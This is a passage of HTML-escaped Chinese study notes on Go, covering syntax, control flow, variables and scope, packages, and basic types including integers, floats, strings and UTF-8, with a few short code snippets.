&lt;pre&gt;&lt;code&gt;x +
y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;非法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x
+ y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;所有子序列操作都使用半开区间：包含第一个索引（省略则为0），不包含第二个索引（省略则为len(s)），也可以都省略 &lt;code&gt;s[:]&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;三索引切片：在现有数组或切片下，使用第二个冒号来指示新生成的切片的容量&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;gofmt 会按照字母顺序表（字典顺序）对 import 中导入的包排序&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;初始化：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;s := &quot;&quot;&lt;/code&gt; 显式初始化说明初始值的重要性&lt;/li&gt;
&lt;li&gt;&lt;code&gt;var s string&lt;/code&gt; 隐式初始化说明初始值不重要&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;map 包含一个引用，当传参时按值传递（副本），但因为是引用类型所以可以在函数体内修改并外部可见&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;结构体类型转换忽略标签：结构体类型转换时，标签会被忽略。也就是说，标签不同的结构体之间也可以互相转换类型。注意：正常情况下（没有标签）的结构体类型之间的转换只有字段名、类型和声明的顺序全部相同才合法。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;控制流&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;for range：每次迭代生成一对值（副本）：索引和索引处的元素&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;for if switch 都可以包含一个可选的简单语句放在前面&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;允许一个简单的语句放在 if 前面，可以缩小 err 的作用域&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if err := get(); err != nil {
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;switch：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;case 语句从上到下按照顺序进行推演，所以第一个匹配的 case 会被执行，默认 break。可以换成 fallthrough 表示匹配且执行完后继续推演&lt;/li&gt;
&lt;li&gt;default 语句可选，且可以放在任何地方&lt;/li&gt;
&lt;li&gt;无标签 switch
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;switch {}&lt;/code&gt; 等于 &lt;code&gt;switch true {}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;每条 case 语句作为布尔表达式&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;break：跳出 for switch select 的最内层&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;continue：重新开始 for 最内层的迭代&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;控制流标签：&lt;code&gt;tags:&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;break tags -&amp;gt; 跳出标签附近的循环&lt;/li&gt;
&lt;li&gt;continue tags -&amp;gt; 重新迭代标签附近的循环&lt;/li&gt;
&lt;li&gt;goto tags -&amp;gt; 直接前往标签&lt;/li&gt;
&lt;li&gt;作用域是整个外层函数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;for i range 效率跟经典 for 性能差不多，for i, v range 则差两倍&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第二章 程序结构&lt;/h2&gt;
&lt;h3&gt;名称&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;标识符：包名、变量、常量、类型、函数、语句标签。规则：开头是 Unicode 中的字符（包括中文）或下划线，后跟任意数量的字符、下划线、数字并区分大小写&lt;/li&gt;
&lt;li&gt;25 个关键字：break default func interface select case defer go map struct chan else goto package switch const
fallthrough if range type continue for import return var&lt;/li&gt;
&lt;li&gt;内置预声明：
&lt;ul&gt;
&lt;li&gt;常量：true false iota nil&lt;/li&gt;
&lt;li&gt;类型：int int8 int16 int32 int64 uint uint8 uint16 uint32 uint64 uintptr float32 float64 complex64 complex128 bool
byte rune string error&lt;/li&gt;
&lt;li&gt;函数：make len cap new append copy close delete complex real imag panic recover&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;变量&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;形式：&lt;code&gt;var name type = expr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;省略规则：
&lt;ul&gt;
&lt;li&gt;类型省略：类型由初始化表达式（常量）决定&lt;/li&gt;
&lt;li&gt;表达式省略：初始值被设置为类型的零值&lt;/li&gt;
&lt;li&gt;类型和表达式不可以同时省略&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;零值：
&lt;ul&gt;
&lt;li&gt;基础类型：数字、字符串、布尔 -&amp;gt; &lt;code&gt;0, &quot;&quot;, false&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;聚合类型：数组、结构体 -&amp;gt; &lt;code&gt;所有元素的零值&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;引用类型：切片、指针、map、通道、函数 -&amp;gt; &lt;code&gt;nil&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;优点：
&lt;ul&gt;
&lt;li&gt;保障了所有变量都是良好定义的（不存在未初始化变量）&lt;/li&gt;
&lt;li&gt;无需额外工作就可以感知边界条件的行为&lt;/li&gt;
&lt;li&gt;应该设计类型的零值也有意义，这样变量一开始就会处于可用状态&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;短变量声明：
&lt;ul&gt;
&lt;li&gt;形式：&lt;code&gt;name := expr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;name 的类型由 expr 自动推断&lt;/li&gt;
&lt;li&gt;只支持局部变量&lt;/li&gt;
&lt;li&gt;左边至少需要声明一个新变量&lt;/li&gt;
&lt;li&gt;左边不需要声明的都是新变量，如果有变量在前面的同一层词法块已经声明过，已声明变量的行为会当作赋值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;指针：
&lt;ul&gt;
&lt;li&gt;值为变量的地址，可间接读取或更新&lt;/li&gt;
&lt;li&gt;所有的变量都有地址&lt;/li&gt;
&lt;li&gt;聚合类型的组成元素也是变量&lt;/li&gt;
&lt;li&gt;可比较：相等情况：
&lt;ul&gt;
&lt;li&gt;指向同一个变量（拥有同一个变量的地址）&lt;/li&gt;
&lt;li&gt;两者都是 nil&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;函数返回局部变量的地址是安全的（变量逃逸，不会被回收）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&lt;/code&gt; 取地址，作操作符&lt;/li&gt;
&lt;li&gt;&lt;code&gt;*&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;取地址里面的值（解引用）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;*T&lt;/code&gt; 作为一种类型&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;new 函数：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;new(T)&lt;/code&gt; 创建一个未命名的 T 类型变量，初始化为 T 的零值并返回它的地址（地址类型为 *T）&lt;/li&gt;
&lt;li&gt;每次调用都会返回不同的地址 例外：两个变量的类型不携带任何信息且是零值时，返回的是相同地址：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;struct {} -&amp;gt; struct {}{}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[0]int -&amp;gt; [0]int{}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;生命周期&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;定义：程序执行过程中变量存在的时间段。&lt;/li&gt;
&lt;li&gt;包级变量：整个程序的执行时间。&lt;/li&gt;
&lt;li&gt;局部变量：
&lt;ul&gt;
&lt;li&gt;动态的，从声明到不可访问，之后它占用的存储空间将会被回收。&lt;/li&gt;
&lt;li&gt;函数的参数和返回值在被调用时创建。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;GC 基本思路：每个包级变量和每个当前执行函数的局部变量作为追溯该变量路径的源头，通过指针和其它方式的引用找到变量。路径不存在时表示不可访问。&lt;/li&gt;
&lt;li&gt;生命周期由确定变量是否可达来决定，因此循环局部变量在循环已返回后也可能延续。&lt;/li&gt;
&lt;li&gt;逃逸：
&lt;ul&gt;
&lt;li&gt;局部变量在函数返回后仍可访问：局部变量会在堆上分配。&lt;/li&gt;
&lt;li&gt;局部变量在函数返回后变得不可访问，可回收：局部变量会在栈上分配。&lt;/li&gt;
&lt;li&gt;逃逸需要一次额外的内存分配过程。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;在长生命周期对象中保持短生命周期对象那些不必要的指针时，特别是全局变量，会阻止 GC 回收短生命周期对象的空间。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;赋值&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;多重赋值：会先推演右边所有表达式&lt;/li&gt;
&lt;li&gt;多返回值：
&lt;ul&gt;
&lt;li&gt;map 查询 &lt;code&gt;v, ok := m[key]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;类型断言 &lt;code&gt;v, ok := x.(T)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;通道接收 &lt;code&gt;v, ok := &amp;lt;-ch&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;隐式赋值：
&lt;ul&gt;
&lt;li&gt;函数将实参赋给形参&lt;/li&gt;
&lt;li&gt;return 将操作数赋给结果变量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;可赋值性：
&lt;ul&gt;
&lt;li&gt;类型需要精准匹配&lt;/li&gt;
&lt;li&gt;nil 可被赋给引用变量（包括接口类型）&lt;/li&gt;
&lt;li&gt;常量更灵活&lt;/li&gt;
&lt;li&gt;可比较性（== !=）的前提是可赋值性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;类型声明&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;形式：&lt;code&gt;type name underlying-type&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;定义：声明一个新的命名类型，使用的是某个底层类型，且类型名字遵循首字母可见性规则&lt;/li&gt;
&lt;li&gt;命名类型支持的操作与底层类型相同&lt;/li&gt;
&lt;li&gt;底层类型相同也不能使用算数表达式比较和合并（需要类型转换）&lt;/li&gt;
&lt;li&gt;类型转换：&lt;code&gt;T(x)&lt;/code&gt; 转换规则：
&lt;ul&gt;
&lt;li&gt;相同底层类型&lt;/li&gt;
&lt;li&gt;指向相同底层类型变量的未命名指针类型&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;比较操作符：
&lt;ul&gt;
&lt;li&gt;相同类型的值&lt;/li&gt;
&lt;li&gt;底层类型相同的未命名类型的值。未命名类型如：未命名的结构体，直接赋值。&lt;/li&gt;
&lt;li&gt;不支持不同命名类型直接比较&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;类型别名：T1 完全是 T2 这个类型，这个新设计是为了重构和兼容旧代码。&lt;code&gt;type T1 = T2&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;包和文件&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;import 必须在 package 之后，package 表明文件属于哪个包&lt;/li&gt;
&lt;li&gt;目录路径为包的导入路径，每个包用导入路径（唯一字符串）标识，标注一个目录&lt;/li&gt;
&lt;li&gt;每个包有独立的命名空间，包和包的同名变量不冲突&lt;/li&gt;
&lt;li&gt;包级声明对同一个包中的所有文件可见（想象一个包就是一个源文件）&lt;/li&gt;
&lt;li&gt;导入的包是文件级的：只能在同一文件内引用，就算是同一个包的不同文件都不可以引用&lt;/li&gt;
&lt;li&gt;包名不必唯一，可以为包名绑定一个短名字，默认为包名&lt;/li&gt;
&lt;li&gt;包的初始化：从包级变量开始，按声明顺序，在依赖已解析的情况下按依赖顺序&lt;/li&gt;
&lt;li&gt;编译多个源文件时，编译器会先进行排序，然后按照收到文件的顺序进行&lt;/li&gt;
&lt;li&gt;init 函数：
&lt;ul&gt;
&lt;li&gt;形式：无参数无返回值&lt;/li&gt;
&lt;li&gt;任何文件可包含任意数量&lt;/li&gt;
&lt;li&gt;不能被调用和引用&lt;/li&gt;
&lt;li&gt;每个文件里的按声明顺序自动执行&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;初始化包时按照导入顺序，依赖顺序优先，每次一个包。e.g. a 导入 b，可确保 b 在 a 之前已经初始化。整个过程自下向上，main
包最后，可确保所有包都初始化完毕&lt;/li&gt;
&lt;li&gt;函数和其它包级别的实体可以以任意次序（不区分顺序）声明，也就是说可在声明前调用&lt;/li&gt;
&lt;li&gt;包级的类型、函数可以递归声明或相互递归（引用自身）；常量、变量不行&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;作用域&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;定义：使用声明时，所声明名字的源代码段&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;作用域：声明在程序文本中出现的区域（编译时属性）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;生命周期：变量在程序执行期间能被其它部分所引用的起止时间（运行时属性）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;语法块：大括号围起部分；隐式语法块：无大括号 -&amp;gt; 统称为词法块：决定作用域大小&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;全局块：包含全部源代码的词法块&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;覆盖：不同词法块中可以有多个同名的声明，编译器遇到声明时会从最内层的封闭词法块到全局块寻找其声明，所以同名时内层会覆盖外层&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;for、if、switch 会创建隐式词法块：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;第一个简单语句初始化部分（x := f()）对第二个 else if 可见&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if x := f(); x == 0 {
    do something with x
} else if y := g(x); x == y {
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;switch 语句中，条件对应一个块，每个 case 语句体也对应一个块&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;短变量声明依赖一个明确的作用域：（不要用于全局变量）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var x int
func foo() {
    x, err := bar()
    // 这时，x 会重新声明而不是转换成赋值
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第三章 基本类型&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;基本类型分类：
&lt;ul&gt;
&lt;li&gt;基础类型：数字、字符串、布尔型&lt;/li&gt;
&lt;li&gt;聚合类型：数组、结构体&lt;/li&gt;
&lt;li&gt;引用类型：指针、切片、map、函数、通道&lt;/li&gt;
&lt;li&gt;接口类型&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;整数&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;符号分类：
&lt;ul&gt;
&lt;li&gt;有符号：int8 int16 int32 int64
&lt;ul&gt;
&lt;li&gt;补码表示范围：-2^(n-1) ~ 2^(n-1) - 1&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;无符号：uint8 uint16 uint32 uint64
&lt;ul&gt;
&lt;li&gt;补码表示范围：0 ~ 2^n - 1&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;int、uint：
&lt;ul&gt;
&lt;li&gt;特定平台上，大小与原生的整数相同&lt;/li&gt;
&lt;li&gt;等于该平台上运算效率最高的值&lt;/li&gt;
&lt;li&gt;int 位数会与 uint 位数相同&lt;/li&gt;
&lt;li&gt;int 与 int32 类型类型是不同的，需要类型转换&lt;/li&gt;
&lt;li&gt;不应该对它们的大小做任何的假设&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;uintptr：大小不明确，但足以完整地存放指针&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;rune(int32)：表示 Unicode 码点&lt;/li&gt;
&lt;li&gt;byte(uint8)：强调作为原始数据而非量值&lt;/li&gt;
&lt;li&gt;运算符优先级：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;^ ! + -&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;* / % &amp;lt;&amp;lt; &amp;gt;&amp;gt; &amp;amp; &amp;amp;^&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+ - | ^&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;== != &amp;lt; &amp;lt;= &amp;gt; &amp;gt;=&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;-&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;||&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;描述：
&lt;ul&gt;
&lt;li&gt;二元算术、逻辑操作符的两个操作数类型必须相同&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+ - * /&lt;/code&gt; 可用于整数、浮点数、复数&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%&lt;/code&gt; 只能用于整数，且结果正负号总是与被除数一致&lt;/li&gt;
&lt;li&gt;整数相除，商会舍弃小数部分&lt;/li&gt;
&lt;li&gt;溢出：算术运算结果所需位超出结果类型范围会导致高位部分被丢弃&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;基础类型都可以比较（== !=），其中除了布尔类型外都可以排序（&amp;lt; &amp;lt;= &amp;gt; &amp;gt;=）&lt;/li&gt;
&lt;li&gt;一元加减法：
&lt;ul&gt;
&lt;li&gt;整数：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;+x -&amp;gt; 0+x&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-x -&amp;gt; 0-x&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;浮点数、复数：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;+x -&amp;gt; x&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-x -&amp;gt; x 的负数&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;位运算符：
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;二元：按位异或（XOR）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;^&lt;/code&gt;：按位清除（AND NOT）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;z = x &amp;amp;^ y
// y 中位为 1 时，z 对应位被设置为 0
// y 中位为 0 时，z 对应位被设置为 x 中对应位
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;移位：操作数可为任意数值型，位移量必须为无符号型。（go1.13已接触该限制）补位规则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;有符号数左移 -&amp;gt; 0&lt;/li&gt;
&lt;li&gt;有符号数右移 -&amp;gt; 符号位&lt;/li&gt;
&lt;li&gt;无符号数左/右移 -&amp;gt; 0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;会造成精度损失的转换：
&lt;ul&gt;
&lt;li&gt;int 和 float 互相转换：舍弃小数部分，趋零截尾（正值向上取整，负值向下取整）&lt;/li&gt;
&lt;li&gt;缩减大小的 int 类型互相转换&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;整数字面量：
&lt;ul&gt;
&lt;li&gt;十进制&lt;/li&gt;
&lt;li&gt;八进制：&lt;code&gt;0666&lt;/code&gt; -&amp;gt; 以 0 开头&lt;/li&gt;
&lt;li&gt;十六进制：&lt;code&gt;0xdeadbeef&lt;/code&gt; -&amp;gt; 以 0x 或 0X 开头，大小写皆可&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;浮点数&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;IEEE 754 标准&lt;/li&gt;
&lt;li&gt;字面量：
&lt;ul&gt;
&lt;li&gt;小数：小数点前或后可以省略。e.g. &lt;code&gt;.707&lt;/code&gt; &lt;code&gt;1.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;科学计数法：在数量级指数前写 &lt;code&gt;e&lt;/code&gt; 或 &lt;code&gt;E&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;特殊值：
&lt;ul&gt;
&lt;li&gt;正无穷大：超出最大许可值的数&lt;/li&gt;
&lt;li&gt;负无穷大：除以零的商&lt;/li&gt;
&lt;li&gt;NaN（Not a Number）：数学上无意义的运算结果。e.g. &lt;code&gt;0/0&lt;/code&gt; &lt;code&gt;Sqrt(-1)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;math.IsNaN()&lt;/code&gt; 判断是否是 NaN&lt;/li&gt;
&lt;li&gt;&lt;code&gt;math.NaN&lt;/code&gt; 返回 NaN&lt;/li&gt;
&lt;li&gt;与 NaN 的直接比较除 &lt;code&gt;!=&lt;/code&gt; 外全都不成立&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;复数&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;类型：
&lt;ul&gt;
&lt;li&gt;complex64 -&amp;gt; 由 float32 构成&lt;/li&gt;
&lt;li&gt;complex128 -&amp;gt; 由 float64 构成&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;内置函数：
&lt;ul&gt;
&lt;li&gt;complex(floatType, floatType) -&amp;gt; 根据给定的实部和虚部创建复数&lt;/li&gt;
&lt;li&gt;real(Value) -&amp;gt; 提取复数的实部&lt;/li&gt;
&lt;li&gt;imag(Value) -&amp;gt; 提取复数的虚部&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;实数：虚部为零的复数。字面量：正常数&lt;/li&gt;
&lt;li&gt;虚数：实部为零的复数。字面量：十进制整数或浮点数后接字母 i&lt;/li&gt;
&lt;li&gt;复数字面量：复数常量可与其它常量（整型、浮点型、实数、虚数）相加构成新的复数常量（常量运算规则）&lt;/li&gt;
&lt;li&gt;复数可比较，当两者实部虚部都相等时相等&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;字符串&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;定义：不可变的字节序列，可包含任意数据，包括零值字节。习惯上会被解读成按 UTF-8 编码的码点序列&lt;/li&gt;
&lt;li&gt;len(s) -&amp;gt; 返回 s 的字节数而不是字符个数&lt;/li&gt;
&lt;li&gt;第 i 个字节不一定就是第 i 个字符，因为 UTF-8 码点可能会占用多个字节&lt;/li&gt;
&lt;li&gt;操作：
&lt;ul&gt;
&lt;li&gt;索引访问（不可修改）&lt;/li&gt;
&lt;li&gt;子串生成（支持默认值）&lt;/li&gt;
&lt;li&gt;加号连接（生成新字符串）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;支持比较和排序（按字节和字典顺序）&lt;/li&gt;
&lt;li&gt;可赋新值，但字符串值无法改变（字符串值本身包含的字节序列永不可变），所以不支持索引修改操作&lt;/li&gt;
&lt;li&gt;不可变的优点：
&lt;ul&gt;
&lt;li&gt;安全地共用同一段底层内存&lt;/li&gt;
&lt;li&gt;复制开销低&lt;/li&gt;
&lt;li&gt;生成子串开销低&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;字符串字面量可以包含转义序列（&quot;\n&quot;）来表示不可见字符&lt;/li&gt;
&lt;li&gt;少量字符串拼接用加号（十个以内）&lt;/li&gt;
&lt;li&gt;大量用 builder&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;字符串字面量&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;形式：双引号包裹&lt;/li&gt;
&lt;li&gt;可写入码点，习惯上按 UTF-8 编码解读&lt;/li&gt;
&lt;li&gt;直接嵌入字节（byte）：
&lt;ul&gt;
&lt;li&gt;八进制 &lt;code&gt;\ooo&lt;/code&gt; -&amp;gt; 三个八进制数字，不能超过 &lt;code&gt;\377&lt;/code&gt;，即最大值为 255，再加上 0 则一共有 256 种可能&lt;/li&gt;
&lt;li&gt;十六进制 &lt;code&gt;\xhh&lt;/code&gt; -&amp;gt; h 是十六进制数字（大小写皆可），必须要两位，即最大值为 255，再加上 0 则一共有 256 种可能&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;原生字面量：反引号
&lt;ul&gt;
&lt;li&gt;内容与字面量严格一致&lt;/li&gt;
&lt;li&gt;可展开多行&lt;/li&gt;
&lt;li&gt;为了兼容而做的特殊处理：回车符（\r）会被删除，换行符（\n）会被保留&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;UTF-8&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Unicode：[]rune -&amp;gt; []int32 -&amp;gt; UTF-32（UCS-4）32 位固定长度&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;变长编码（1-4字节）：无法按下标直接访问第 i 个字符&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;二进制表示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0xxxxxxx                            0~127(2^7) ASCII
110xxxxx 10xxxxxx                   128~2047(2^11)
1110xxxx 10xxxxxx 10xxxxxx          2048~65535(2^16)
11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 65536~0x10ffff(2^21)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;编码：首字节高位指明了后面还有多少字节。最高位为 0 表示只有一个字节（ASCII）；最高位的前三位为 110 表示有两个字节，第二个字节以
10 开始，以此类推&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;优点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;编码紧凑，兼容 ASCII。自同步：最多追溯 3 个字节就能定位一个字符的起始位置&lt;/li&gt;
&lt;li&gt;前缀编码，能从左到右解码而无歧义，也无需超前预读，于是查找文字符号仅需搜索它自身的字节，不必考虑前文内容&lt;/li&gt;
&lt;li&gt;易于排序：文字符号的字典字节顺序与 Unicode 码点顺序一致，因此按 UTF-8 编码排序就是对文字符号排序&lt;/li&gt;
&lt;li&gt;UTF-8 编码不会嵌入 NUL 字节（0值），便于某些语言用 NUL 标记字符串结尾&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;字面量转义：用码点的值来指明 Unicode 字符&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;16 位：&lt;code&gt;\uhhhh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;32 位：&lt;code&gt;\Uhhhhhhhh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;两个十六进制数：&lt;code&gt;\xhh&lt;/code&gt; 表示单个 byte（码点值小于256）（ASCII）&lt;/li&gt;
&lt;li&gt;h 表示一个十六进制数字，h 大小写皆可&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;for range 会按 UTF-8 隐式解码&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不合理的字节会被替换成 &lt;code&gt;\ufffd&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;string 转换成 []rune 后大小一致，得到该字符串的 Unicode 码点序列，便于用下标访问&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;[]rune 转换成 string 后，得到各个文字符号的 UTF-8 编码拼接结果&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
